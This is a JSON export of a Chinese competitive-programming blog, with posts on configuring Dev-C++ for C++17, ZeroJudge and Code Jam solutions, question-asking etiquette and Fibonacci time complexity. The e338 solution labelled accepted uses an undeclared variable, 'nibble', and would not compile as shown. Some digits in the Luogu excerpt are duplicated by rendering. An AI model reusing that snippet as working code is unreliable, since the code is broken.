Path\n確定後，打開「命令提示字元」輸入 g++ -v\n如果顯示這些文字，就是安裝成功\n2. Dev-C++ 加入 MinGW G++ 8.2.0 # 打開 Dev-C++ 工具 $\\rightarrow$ 編譯器選項\n按到第三個 $+$\n選擇你剛剛 MinGW 安裝的地方\n成功的話，上方就會自己變更為 MinGW GCC 8.2.0\n因為舊版 Dev-C++ 語言標準只有停留在 C++11，我們下方命令列手動加入 -std=c++17\n按下確定後，就可以來測試 Sample Code 了\n#include\u0026lt;iostream\u0026gt; #include\u0026lt;tuple\u0026gt; using namespace std; std::tuple\u0026lt;char, int, bool\u0026gt; mytuple() { char a = \u0026#39;a\u0026#39;; int i = 123; bool b = true; return std::make_tuple(a, i, b); } int main() { auto [a, i, b] = mytuple(); // Structured Bindings in C++17 is available. // Using in C++14 will get warning. cout \u0026lt;\u0026lt; \u0026#34;Hello C++17 \u0026#34; \u0026lt;\u0026lt; a \u0026lt;\u0026lt; \u0026#34; \u0026#34; \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34; \u0026#34; \u0026lt;\u0026lt; b \u0026lt;\u0026lt; endl; return 0; } 3. 注意事項 # 如果你是競賽選手，你應該知道 GNU 的編譯器有個 bits/stdc++.h 引入所有函式庫的黑魔法\n但是直接使用會 Compile Error\n個人爬了一下 Reddit 的 C++ 版\n得知 C++17 的 filesystem 跟 charconv 在 Windows 是無法得到原生支援的\n只有 Unix 的相關成員才能做得到（E.g. Mac / Linux）\n所以前面 bits/stdc++.h include 進來以前先把 filesystem 跟 charconv Define 掉\n#define _GLIBCXX_FILESYSTEM 1 #define _GLIBCXX_CHARCONV 1 #include\u0026lt;bits/stdc++.h\u0026gt; using namespace std; std::tuple\u0026lt;char, int, bool\u0026gt; mytuple() { char a = \u0026#39;a\u0026#39;; int i = 123; bool b = true; return std::make_tuple(a, i, b); } int main() { auto [a, i, b] = mytuple(); // Structured Bindings in C++17 is available. // Using in C++14 will get warning. cout \u0026lt;\u0026lt; \u0026#34;Hello C++17 \u0026#34; \u0026lt;\u0026lt; a \u0026lt;\u0026lt; \u0026#34; \u0026#34; \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34; \u0026#34; \u0026lt;\u0026lt; b \u0026lt;\u0026lt; endl; return 0; } 後記 Afterword # 我後來發現 Code::Blocks 用 C++17 的 bits/stdc++.h 也有同個問題。\n果然真的沒有原生 Windows 支援（唯一希望應該是 MSVC++ 的編譯器）\n我想這就是 MinGW 一直沒有讓 G++ 上去 9.2.0 的關係吧！\n","date":"2019/11/30","externalUrl":null,"permalink":"/posts/devcplusplus-gplusplus-8/","section":"Posts","summary":"這個筆記做一下記錄，我在 Windows 10 上的更新\n","title":"Dev-C++ 手動更新編譯器至 G++ 8.2.0","type":"posts"},{"content":"","date":"2019/11/30","externalUrl":null,"permalink":"/tags/gcc/","section":"Tags","summary":"","title":"Gcc","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c421\n敘述 Description # 雲端列印服務公司提出一個新型服務。\n該公司有 n 台 3D 印表機,\n其中印表機 P1,P2, \u0026hellip;, Pk 用以優先服務最為重要客戶,\n印表機 Pk+1, Pk+2, \u0026hellip;, Pn 列印速度較慢,用以優先服務一般客戶。\n每個客戶依該年度所選擇服務等級及所繳交費用可有不同的列印優先權, 以 1, \u0026hellip;, 10000 表示之;\n10000 代表最高列印優先權,1 代表最低列印優先權。\n為了不讓低列印優先權的客戶永無止盡的等待,\n印表機 P1, P2, \u0026hellip;, Pk 一旦有空,等待的工作中優先權最高的工作就會被交付列印;\n而印表機 Pk+1, Pk+2, \u0026hellip;, Pn一旦有空, 等待的工作中優先權最低的工作就會被交付列印。\n請寫一個程式列舉交付列印工作的順序。\n輸入 Input # 輸入只有一行,共有不定數量的整數,\n整數可為{-2, -1, 0, 1, 2, \u0026hellip;, 10000},兩整數之間以一個空白隔開。\n-2 表示印表機 P1, P2, \u0026hellip;, Pk其中一台有空, 可以列印最高優先權的工作;\n-1 表示印表機 Pk+1, Pk+2, \u0026hellip;, Pn其中一台有空, 可以列印最低優先權的工作;1, 2, \u0026hellip;, 10000\n代表新增一個優先權為該數字之工作;\n0 則代表輸入結束。\n若輸入為 -1 或 -2但無等待列印的工作,則不列印,需等待下一個 -1 或 -2 才再列印新的工作。\n輸出 Output # 請依被列印工作的順序,輸出該工作的優先權代號,之後緊接著一個空白。\n尚未交付列印的工作不需輸出。\n範例輸入 Sample Input # // Example 1 20 15 10 -2 -1 -1 0 // Example 2 1 2 3 -2 4 5 6 -1 7 0 範例輸出 Sample Output # // Example 1 20 10 15 // Example 2 3 1 提示 Hint # 本題共有五組測試資料。每組可有多個輸入檔案,全部答對該組才得分。 第一組 15 分,最多 11 個工作需要被列印,且只有一次交付列印指令。 第二組 15 分,最多 20 個工作需要被列印,且只有二次交付列印指令。 第三組 20 分,最多 50 個工作需要被列印,且最多有 25 次交付列印指令。 第四組 20 分,最多 15,000 個工作需要被列印或交付列印。 第五組 30 分,最多 500,000 個工作需要被列印或交付列印。\n使用 C++作答的同學,請在程式碼開頭加上#include,並利用 scanf讀入資料。\n使用cin讀入資料可能會因為讀入效率太差以致於程式執行時間超過限制。\n題解 Solution # multiset 的 erase 如果是代入數字，他不會是刪除一個，而是那個數字全部刪除 = =\n所以要代入的是 iterator，也就是位置\nmultiset 會自動幫我們排序好，由小至大\nm.begin()，就是最小。\nm.rbegin()，就是反向的開始，就是最尾端，也就是最大。\n可是 erase 只能代入 iterator，不能是 reverse_iterator\n所以還要再把位址轉過來（或者你直接 end()，做遞減運算子也可以）\n程式碼 Accepted Code # /* Author: Jerry Yang C.H. (tico88612) Date: 2019/11/22 */ #include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; typedef long long ll; typedef pair\u0026lt;ll, ll\u0026gt; pii; typedef pair\u0026lt;double,double\u0026gt; pdd; #define SQ(i) ((i)*(i)) #define MEM(a, b) memset(a, (b), sizeof(a)) #define SZ(i) int(i.size()) #define FOR(i, j, k, in) for (int i=j ; i\u0026lt;k ; i+=in) #define RFOR(i, j, k, in) for (int i=j ; i\u0026gt;=k ; i-=in) #define REP(i, j) FOR(i, 0, j, 1) #define REP1(i,j) FOR(i, 1, j+1, 1) #define RREP(i, j) RFOR(i, j, 0, 1) #define ALL(_a) _a.begin(),_a.end() #define MP make_pair #define PB push_back #define EB emplace_back #define X first #define Y second #ifdef tmd #define debug(...) do{\\ fprintf(stderr,\u0026#34;%s - %d (%s) = \u0026#34;,__PRETTY_FUNCTION__,__LINE__,#__VA_ARGS__);\\ _do(__VA_ARGS__);\\ }while(0) template\u0026lt;typename T\u0026gt;void _do(T \u0026amp;\u0026amp;_x){cerr\u0026lt;\u0026lt;_x\u0026lt;\u0026lt;endl;} template\u0026lt;typename T,typename ...S\u0026gt; void _do(T \u0026amp;\u0026amp;_x,S \u0026amp;\u0026amp;..._t){cerr\u0026lt;\u0026lt;_x\u0026lt;\u0026lt;\u0026#34; ,\u0026#34;;_do(_t...);} template\u0026lt;typename _a,typename _b\u0026gt; ostream\u0026amp; operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,const pair\u0026lt;_a,_b\u0026gt; \u0026amp;_p){return _s\u0026lt;\u0026lt;\u0026#34;(\u0026#34;\u0026lt;\u0026lt;_p.X\u0026lt;\u0026lt;\u0026#34;,\u0026#34;\u0026lt;\u0026lt;_p.Y\u0026lt;\u0026lt;\u0026#34;)\u0026#34;;} template\u0026lt;typename It\u0026gt; ostream\u0026amp; _OUTC(ostream \u0026amp;_s,It _ita,It _itb) { _s\u0026lt;\u0026lt;\u0026#34;{\u0026#34;; for(It _it=_ita;_it!=_itb;_it++) { _s\u0026lt;\u0026lt;(_it==_ita?\u0026#34;\u0026#34;:\u0026#34;,\u0026#34;)\u0026lt;\u0026lt;*_it; } _s\u0026lt;\u0026lt;\u0026#34;}\u0026#34;; return _s; } template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,vector\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,set\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,deque\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a,typename _b\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,map\u0026lt;_a,_b\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _t\u0026gt; void pary(_t _a,_t _b){_OUTC(cerr,_a,_b);cerr\u0026lt;\u0026lt;endl;} #define IOS() #else #define debug(...) #define pary(...) #define endl \u0026#39;\\n\u0026#39; #define IOS() ios_base::sync_with_stdio(0);cin.tie(0) #endif const ll MOD = 1000000007; const ll INF = 0x3f3f3f3f3f3f3f3f; const int iNF = 0x3f3f3f3f; // const ll MAXN = /********** Good Luck :) **********/ int main() { IOS(); int enter; int fir = 1; multiset\u0026lt;int\u0026gt; m; while(cin \u0026gt;\u0026gt; enter \u0026amp;\u0026amp; enter){ if(enter \u0026gt; 0){ m.insert(enter); } else if(enter == -1){ if(SZ(m) \u0026gt; 0){ if(!fir) cout \u0026lt;\u0026lt; \u0026#34; \u0026#34;; else fir = 0; cout \u0026lt;\u0026lt; *m.begin(); m.erase(m.begin()); } } else if(enter == -2){ if(SZ(m) \u0026gt; 0){ if(!fir) cout \u0026lt;\u0026lt; \u0026#34; \u0026#34;; else fir = 0; cout \u0026lt;\u0026lt; *m.rbegin(); m.erase(next(m.rbegin()).base()); } } } cout \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; return 0; } 後記 Afterword # ZJ —— 今晚打老虎\n這題也可以用 multiset 完成！\n","date":"2019/11/23","externalUrl":null,"permalink":"/posts/zj-c421/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c421\n","title":"c421. pA 雲端列印","type":"posts"},{"content":"","date":"2019/11/21","externalUrl":null,"permalink":"/tags/beginner/","section":"Tags","summary":"","title":"Beginner","type":"tags"},{"content":"","date":"2019/11/21","externalUrl":null,"permalink":"/tags/programming/","section":"Tags","summary":"","title":"Programming","type":"tags"},{"content":"","date":"2019/11/21","externalUrl":null,"permalink":"/tags/tips/","section":"Tags","summary":"","title":"Tips","type":"tags"},{"content":"有鑒於社團版上發問風氣不好，故此特發一篇新手教學「如何問個願意讓人回答的程式問題」 老手或電神請直接關掉或回上一頁\n程式語言讀書會(X)拍賣會(?) # 大約從 11 月初開始，常常冒出一些「哪裡出了問題呢」「怎麼跑不出來」「有哪個大大發現有那裡錯誤嗎」 貼出錯誤訊息、或者就在 FB 上「直接」貼程式碼 或者直接丟一句說「請問題目怎麼解」，貼出題目敘述 然後留言就幫忙回答(X)開始喊價(O)\n嗯～其實想說的是，問問題的目的要做什麼？ 你是希望：\n理解原因、原理，並且獲得知識、解答 直接貼給我答案 如果你是選項 2.，你直接貼出價碼，乖乖付錢，找別人幫你寫就好 你也有你自己的專業，朋友想要請你做你專業的事情，還要免費付出，你會想接嗎？ 「別人努力得到的，你憑什麼去免費取呢？」\n如果你是選項 1.，那就看好這篇文章吧！\n問題守則 # 每個人都可以問問題，不分難易都可以問 每個人都有新手時期，有問題會發問是正常的\n1. 你想要做什麼結果？ # 說明你的目標，別人才知道要做什麼 程式題目要附上文件、解題連結 如果你是自己想寫的，說明跟要求盡量詳細\n2. 現在跑出什麼情況？ # 錯誤Ｘ：只是打「怎麼跑不出來」「有哪個大大發現有那裡錯誤嗎」\n這樣問問題只會讓別人覺得你是伸手牌，要請私人家教之類的請直接付錢\n正確Ｏ：錯誤訊息詳列出來，錯誤訊息請事先 Google 找好，語法錯誤請參考該語言的範例程式，Google 方式請參考第 4 點\n3. 你覺得是什麼問題？可能解法？ # 你一定會有當前的 Code 或當前的想法\n如果是 OJ 解題者，應該會拿到 WA, TLE, MLE, RE 之類的錯誤 就請你把當前的想法打出來，不要只是說「我拿到了 WA」這類簡短語句\n有程式碼也可以貼上來，貼上方式請參考第 5 點\n4. Google 查了什麼？ # 這裡先不討論會不會 Google 搜尋（因為有些人不會，畢竟下關鍵字會稍微吃一點技巧）\n這裡先教新手 Google 最簡單的方式：把錯誤訊息、錯誤代碼通通貼上去\n如果你會 Google 的話，你可以把搜尋看到的東西放上來 哪一句話不懂、哪些覺得跟你的想像有差距都可以問\n如果你不會 Google，也可以禮貌性詢問「請問這個知識點的關鍵字是什麼呢？」 （當然，如果你每個貼文都一直問很基礎的問題，別人也會覺得煩，也請盡快學會如何 Google 搜尋）\n5. 程式碼排版 # 錯誤Ｘ：「直接貼在 FB 上」、「手機拍照」\n你看了眼睛不會痛 但不代表別人眼睛不會痛 但不代表別人眼睛不會痛 但不代表別人眼睛不會痛 因為很重要所以說三次，可以讓別人舒服地看你的問題才是正確的\n正確Ｏ：「放在貼 Code 網站」、「螢幕截圖」\n以下網站都可以貼 Code，當然不只這些：\nhttps://ideone.com http://codepad.org/ https://gist.github.com/ https://pastebin.com/ https://repl.it/ 6. 問完不要刪文 # 也不算是守則，算是禮儀\n有些新手會覺得問基礎問題很丟臉想刪掉 前面有說了，每個人都有新手時期，問簡單問題都沒關係\n如果你刪文了，其實會給別人的感受不好 感覺像是被利用完就丟的感覺（想不到比較恰當的比喻@@）\n問完問題最多可以直接關留言，但不要直接刪文\n總結 # 至少不要讓別人覺得\n遵守上述的原則，至少不會被討厭或被留言攻擊\n維護社團風氣你我有責，共勉之！\n後記 # 話說，為什麼不遵守原則的新手文，都這麼容易釣出電神？你有頭緒嗎？\n","date":"2019/11/21","externalUrl":null,"permalink":"/posts/how-to-ask-a-good-question/","section":"Posts","summary":"有鑒於社團版上發問風氣不好，故此特發一篇新手教學「如何問個願意讓人回答的程式問題」 老手或電神請直接關掉或回上一頁\n","title":"如何問個願意讓人回答的程式問題","type":"posts"},{"content":"暑假前開了一堆蠻有意義的支線\nDigi Talent 計畫 # 我想等 12 月計畫結束後，再來打數篇過程心得文\n整個實習根本不可能用一篇寫完，應該會分好幾個過程\nNCPU 2019 # NCPU 叫做「全國私立大專校院程式競賽」\n指揮學弟當奴隸翻譯題目猜測資，我負責吃點心 Coding\n第一次出征就拿到名次 6 / 45 隊伍\n之後也有一篇獨立的過程心得文~~，等我有空再寫~~\nDigi Talent 必修課 —— 資料科學 # 兩次實體上課 7/15 開始 跟 7/29 結訓\n要報告小專題，因為中間跑去清大當營隊工人，直接把隊友放生\n然後，就躺著過了(✪ω✪)\n清大暑期程式競賽集訓營 工人 # 培訓的 5 ~ 6 天都一直在寫程式，聽大神講課，吃點心，幫忙學員 AC 掉簡單題\n營隊主題是「為美好的世界獻上祝福」\n工人們投票出來是「來自深淵」\n最後看的是「烏鴉坐飛機」（成龍歷險記）\n我：？？？？？？\n去清大也交了一些朋友，GitHub 也多一個 Follower\n彈鋼琴 # 後來迷上「來自深淵」這部動漫\n很喜歡「Hanezeve Caradhina」，但目標是彈「Deep in Abyss」\n讓我很想重學鋼琴啦！\n商業企劃 \u0026amp; 簡報製作 # 工研院辦的活動\n講師：黃永猛\n之後也會有獨立的心得文，不過教材就不公開了（教材版權為講師本人），他說只分享給有緣的人 OwO\n最後以「參訪新竹工研院、清大暑期程式競賽集訓營慶功宴」結束這個暑假\n新竹工研院 # 參訪之後也會有獨立的心得文，想講的是，中秋演唱會真的精彩啊！！\n茄子蛋、李佳歡、李千娜、Matzka\n後來回去聽 Matzka 的 一朵花，感覺原曲很慢，唱現場可能有加快，但我覺得現場比較好聽 OwO\n清大暑期程式競賽集訓營 慶功宴 # 就是吃，沒了 OwO\n後記 # 前陣子筆電的罷工也讓我心疲憊了一陣子\n不過，我再度重返，已經能繼續前進了，加油！\n但 disqus 的排版有點爛掉了，先暫時關閉留言 QQ\n","date":"2019/09/18","externalUrl":null,"permalink":"/posts/2019-summer/","section":"Posts","summary":"暑假前開了一堆蠻有意義的支線\n","title":"結束 2019 年的暑假","type":"posts"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e378\n敘述 Description # 現在地板上有兩個立方體和一面垂直於地板的牆壁\n離牆壁較遠的立方體以等速撞上另一個立方體,使其撞上牆壁並以原路徑反彈\n假設沒有摩擦力且所有碰撞均為完美彈性碰撞(也就是沒有能量散失)\n且離牆壁較遠的立方體的質量是離牆壁較近的立方體的10x倍\n給你x,請求出總共會碰撞幾次\n輸入 Input # 每一行一個非負偶數x(x\u0026lt;923)\n輸出 Output # 總共會碰撞幾次\n範例輸入 Sample Input # 0 範例輸出 Sample Output # 3 提示 Hint # 輸出的數字可能很大,但是跟大數運算無關\n還有,拜託知道的人不要破梗\n題解 Solution # 想必都點到這裡了，應該是解不出來的，對吧？ 那就來破梗吧！答案就在作者身上\n\u0026hellip;\u0026hellip; \u0026hellip;\u0026hellip; \u0026hellip;\u0026hellip;\n什麼？你還是不知道？ 給你看這個影片吧！\n至於為什麼，參考影片就放這裡，自己看吧！\n3B1B —— 偏向數學解答（有中文 CC 字幕）\n佑來了 —— 偏向物理解答\n程式碼 Accepted Code # /* Author: Jerry Yang C.H. (tico88612) Date: 2019/9/18 */ #include \u0026lt;iostream\u0026gt; using namespace std; string pi = \u0026#34;314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848111745028410270193852110555964462294895493038196442881097566593344612847564823378678316527120190914564856692346034861045432664821339360726024914127372458700660631558817488152092096282925409171536436789259036001133053054882046652138414695194151160943305727036575959195309218611738193261179310511854807446237996274956735188575272489122793818301194912983367336244065664308602139494639522473719070217986094370277053921717629317675238467481846766940513\u0026#34;; /********** Good Luck :) **********/ int main() { ios_base::sync_with_stdio(0);cin.tie(0); int N; while (cin \u0026gt;\u0026gt; N){ for(int i = 0; i \u0026lt;= N / 2; i++) cout \u0026lt;\u0026lt; pi[i]; cout \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } return 0; } 後記 Afterword # 看到這題目我還在想這到底是在供三小 在看到兩個立方體、碰撞、$10^{x}$ 才想起以前有看過類似的東西\n","date":"2019/09/18","externalUrl":null,"permalink":"/posts/zj-e378/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e378\n","title":"e378. 撞來撞去","type":"posts"},{"content":"","date":"2019/09/18","externalUrl":null,"permalink":"/tags/pi/","section":"Tags","summary":"","title":"Pi","type":"tags"},{"content":"","date":"2019/08/24","externalUrl":null,"permalink":"/tags/bit-operation/","section":"Tags","summary":"","title":"Bit Operation","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e338\n敘述 Description # 段考後的延平:\nhttps://drive.google.com/file/d/1j4qESZGdI0jQW6uuxcSb7tfNsq_SB_vl/view?usp=sharing\nXD\n輸入 Input # 一行一個非負整數n(n\u0026lt;2^31)\n輸出 Output # 輸出此整數在二進位中1的個數\n範例輸入 Sample Input # 1 2 3 4 範例輸出 Sample Output # 1 1 2 1 提示 Hint # __builtin_popcount()夠快嗎?\n2018/8/9 調整時限\n題解 Solution # 我覺得作者想考$O(1)$算法 但不幸的還是壓到了一般輸入 這題就算單純用 scanf / printf 還是不會過\n分兩個大方向去 AC 這題\n1. 讀取模板 # 參考這篇文：https://vincent97198.blogspot.com/2019/06/iozerojudge.html\n我只是稍微改了個 EOF 而已（EOF 被定義為 -1，但是本題數入範圍可以暫時不管這東西XD）。\ngetchar_unlocked() 不是標準的函式，比起 getchar() 少做了很多事（詳情自己去 Google），但不要隨便使用在大型專案上。\nputchar_unlocked() 亦同上。\n2. 演算法 # 參考這篇文：https://www.geeksforgeeks.org/count-set-bits-in-an-integer/\n第四點就是先把 Bit 個數建表，然後 4 個 4 個讀取加起來\n不過總複雜度也不是$O(1)$，嚴格來說似乎是$O(\\log_{16}{N})$\n程式碼 Accepted Code # /* Author: Jerry Yang C.H. (tico88612) Date: 2019/8/18 */ #include \u0026lt;cstdio\u0026gt; #include \u0026lt;cctype\u0026gt; inline int redi() { int ret = 0, f = 0; char ch = getchar_unlocked(); while (!isdigit(ch)) { if (ch == \u0026#39;-\u0026#39;) f = 1; if(ch == EOF) return EOF; ch = getchar_unlocked(); } while (isdigit(ch)) { ret = ret * 10 + ch - 48; ch = getchar_unlocked(); } return f ? -ret : ret; } inline void print(int x) { if (x \u0026lt; 0) { putchar_unlocked(\u0026#39;-\u0026#39;); x = -x; } int y = 10, len = 1; while (y \u0026lt;= x) { y *= 10; len++; } while (len--) { y /= 10; putchar_unlocked(x / y + 48); x %= y; } } int num_to_bits[16] = {0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4}; unsigned int countSetBitsRec(unsigned int num) { if (0 == num) return num_to_bits[0]; nibble = num \u0026amp; 0xf; return num_to_bits[nibble] + countSetBitsRec(num \u0026gt;\u0026gt; 4); } /********** Good Luck :) **********/ int main() { int n; while((n = redi()) != EOF){ print(countSetBitsRec(n)); putchar_unlocked(\u0026#39;\\n\u0026#39;); } return 0; } 後記 Afterword # 這個 Submission 是壓秒過的 排行上的應該也是建表過的（吧？） 記憶體都比我大很多（我的 100 KB，排行上的大多都 1 MB 以上）\n前陣子的 ZeroJudge 常常出現有的沒的 IO 題 但這類的 IO 優化題也可能改天換個主機 Rejudge，搞不好全都 TLE 或全都 AC 也不是說這種題目不好，畢竟幾乎每個人都可以在上面出題，題目多樣性很夠 XD\n維持網站題目質量品質也是大家的責任\n","date":"2019/08/24","externalUrl":null,"permalink":"/posts/zj-e338/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e338\n","title":"e338. 放暑假了!!!!!...可惜要上暑輔...開學後還要模考...","type":"posts"},{"content":"","date":"2019/08/24","externalUrl":null,"permalink":"/tags/io-optimization/","section":"Tags","summary":"","title":"Io Optimization","type":"tags"},{"content":"","date":"2019/08/24","externalUrl":null,"permalink":"/tags/precomputation/","section":"Tags","summary":"","title":"Precomputation","type":"tags"},{"content":"","date":"2019/04/08","externalUrl":null,"permalink":"/tags/google-code-jam/","section":"Tags","summary":"","title":"Google Code Jam","type":"tags"},{"content":"反正只要 30 分以上就可以進 Round 1 了\npA 可以 WA 到把 Penalty 飆超高我也是醉了啦！\npA. Foregone Solution # 題意大致是說，給你個 $N$，請輸出正整數 $A, B$，並且 $A + B = N$ 然後 $A, B$ 不能有任何的 $4$ 出現\n一開始我是用$\\div 2$方式去做的 但沒有考慮太多情況 然後就吃了5次WA\n後來就想說$A = 1, B = N - 1$ 如果$B$的某個位數為$4$ 就把那個位數減去$1$加在$A$上 然後這個解法一次就過了\u0026hellip;（ㄏㄏ）\n本題 Hidden Test 只有 1 分 但$N$高達$10^{100}$，就直接用 Python 解了\nT = int(input()) for i in range(1, T + 1): N = int(input()) A = 1 B = N - 1 Run = 1 while Run \u0026lt; B: NowE = B // Run NowE = NowE % 10 if NowE == 4: A += Run B -= Run Run *= 10 print(\u0026#34;Case #\u0026#34; + str(i) + \u0026#34;: \u0026#34; + str(A) + \u0026#34; \u0026#34; + str(B)) pB. You Can Go Your Own Way # 題意大致是說，給你一個 $N\\times N$ 的格子 找個路徑，只能往右走$E$跟往下走$S$ 不能跟他給的路徑重複\n就直接跟他相反就不會重複了 他走$E$，你就走$S$ 他走$S$，你就走$E$\n#pragma GCC optimize (\u0026#34;O2\u0026#34;) #include\u0026lt;bits/stdc++.h\u0026gt; #include\u0026lt;unistd.h\u0026gt; using namespace std; typedef long long ll; typedef vector\u0026lt;int\u0026gt; vi; typedef pair\u0026lt;int,int\u0026gt; pi; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); #define FZ(n) memset((n),0,sizeof(n)) #define FMO(n) memset((n),-1,sizeof(n)) #define F first #define S second #define PB push_back #define MP make_pair #define ALL(x) begin(x),end(x) #define SZ(x) ((int)(x).size()) #define REP(i,a,b) for (int i = a; i \u0026lt; b; i++) // Let\u0026#39;s Fight! int main() { _ int T; cin \u0026gt;\u0026gt; T; REP(i, 1, T + 1){ int N; cin \u0026gt;\u0026gt; N; cout \u0026lt;\u0026lt; \u0026#34;Case #\u0026#34; \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34;: \u0026#34;; string enter; cin \u0026gt;\u0026gt; enter; REP(j, 0, SZ(enter)){ if(enter[j] == \u0026#39;S\u0026#39;) cout \u0026lt;\u0026lt; \u0026#34;E\u0026#34;; if(enter[j] == \u0026#39;E\u0026#39;) cout \u0026lt;\u0026lt; \u0026#34;S\u0026#34;; } cout \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } return 0; } pC. Cryptopangrams # 應該就直接用 Python 寫，不會寫，ToDo\npD. Dat Bae # 互動式題目，不會寫，ToDo\n總結 # pA 跟 pB 的 Visible Test 過就可以進 Round 1 了\n另外兩題等有詳解 Code 再來試寫好了(X)\n","date":"2019/04/08","externalUrl":null,"permalink":"/posts/gcj-2019-qr/","section":"Posts","summary":"反正只要 30 分以上就可以進 Round 1 了\n","title":"Google Code Jam 2019 Qualification Round 亂寫の解題心得","type":"posts"},{"content":"","date":"2019/01/31","externalUrl":null,"permalink":"/tags/fibonacci/","section":"Tags","summary":"","title":"Fibonacci","type":"tags"},{"content":"","date":"2019/01/31","externalUrl":null,"permalink":"/tags/formula/","section":"Tags","summary":"","title":"Formula","type":"tags"},{"content":"我在撰寫此貼文時，原留言者已經刪留言了，反正就是說「費氏數列有公式解，複雜度就是$O(1)$」\n於是一堆國手紛紛出籠，然後就\u0026hellip;\u0026hellip;你看就知道了 原文連結：https://www.facebook.com/groups/pythontw/permalink/10158445814613438/\n甚至出現 「$\\pi$ 跟 $e$ 都存在月球上，這樣就存取最快了，$O(1)$！」\n（果然用爛留言去釣高手是最快的辦法，$O(1)$！）\n版上的大神在反串什麼？ # 首先，先來簡單介紹時間複雜度（這只是大眾版的） 要計算最壞的時間複雜度我們會用 big-O\n假設$n$是資料個數 或 計算大小 $O(1)$是常數複雜度 意思是說：計算量不會與 $n$ 的大小有任何關係，Ex.$1+2+\u0026hellip;+N$的公式解\n$O(\\log{n})$是對數複雜度 意思是說：計算量會與 $n$ 的大小呈現對數關係，Ex.二分搜尋法\n$O(n)$是線性複雜度 意思是說：計算量會與 $n$ 的大小呈現線性（直線）關係\n公式解就一定是O(1)？ # 從1加到N的算式可以寫成這樣 $1+2+\u0026hellip;+N=\\dfrac{n(n+1)}{2}$\n算式就要做一次乘法跟一次除法\n不論$N$開多大，開到$10^{100}$，算式都只要做一次乘法跟一次除法就好\n可是費氏數列有公式解\n$Fibonacci(n)=\\dfrac{\\sqrt{5}}{5} \\cdot \\left[\\left(\\dfrac{1 + \\sqrt{5}}{2}\\right)^{n} - \\left(\\dfrac{1 - \\sqrt{5}}{2}\\right)^{n}\\right]$\n對，費氏數列有公式解，但是它不是$O(1)$\n關鍵就是這個$\\left(\\dfrac{1 + \\sqrt{5}}{2}\\right)^{n}$ 跟 $\\left(\\dfrac{1 - \\sqrt{5}}{2}\\right)^{n}$\n要算第$100$項，這東西就要乘$100$次 要算第$10000$項，這東西就要乘$10000$次 要算第$10^9$項，這東西就要乘$10^9$次\n所以這是線性複雜度$O(n)$ （高手就知道這是$O(\\log{n})$，這可以矩陣快速冪）\n$O(1)$的意義不是在快，而是資料量大小不論多少，他都是固定的計算次數。\n如果今天我設計了一個函數： $n=1$，要計算次數是$10^8$， $n=10^6$，要計算次數是$10^8$， $n=10^{100}$，要計算次數是$10^8$， 不論$n$的大小，計算次數都是$10^8$。\n時間複雜度：$O(1)$，因為計算次數跟$n$沒有任何關係\n總結 # 要下什麼總結呢？我只知道原Po在原文被歪樓後就被邊緣了QQ\n然後原留言者也刪留言、關臉書了。\n如果討論是一直在堅持自己的意見，那就不叫討論了\n結果變成競程選手們茶餘飯後的話題\n整體過程大概就是這樣啦！如果有錯誤，歡迎在底下留言討論！\n2019/02/15 更新 # 新文朝聖：https://www.facebook.com/groups/pythontw/permalink/10158487765003438/\n","date":"2019/01/31","externalUrl":null,"permalink":"/posts/fibonacci-is-bigo1/","section":"Posts","summary":"我在撰寫此貼文時，原留言者已經刪留言了，反正就是說「費氏數列有公式解，複雜度就是$O(1)$」\n","title":"O(1)的費氏數列？公式解就一定是O(1)？","type":"posts"},{"content":"","date":"2019/01/31","externalUrl":null,"permalink":"/tags/time-complexity/","section":"Tags","summary":"","title":"Time Complexity","type":"tags"},{"content":"","date":"2019/01/19","externalUrl":null,"permalink":"/tags/luogu/","section":"Tags","summary":"","title":"Luogu","type":"tags"},{"content":"題目 Problem # 題目連結：https://www.luogu.org/problemnew/show/P1031\n敘述 Description # 有$N$堆纸牌，编号分别为 $1,2,…,N$。每堆上有若干张，但纸牌总数必为$N$的倍数。可以在任一堆上取若干张纸牌，然后移动。\n移牌规则为：在编号为$1$堆上取的纸牌，只能移到编号为$2$的堆上；在编号为$N$的堆上取的纸牌，只能移到编号为$N−1$的堆上；其他堆上取的纸牌，可以移到相邻左边或右边的堆上。\n现在要求找出一种移动方法，用最少的移动次数使每堆上纸牌数都一样多。\n例如$N=4$，$4$堆纸牌数分别为：\n①$9$②$8$③$17$④$6$\n移动$3$次可达到目的：\n从 ③ 取$4$张牌放到 ④ $（9,8,13,10）$-\u0026gt; 从 ③ 取333张牌放到 ②$（9,11,10,10）$-\u0026gt; 从 ② 取111张牌放到①$（10,10,10,10）$。\n輸入 Input # 两行\n第一行为：$N$（$N$ 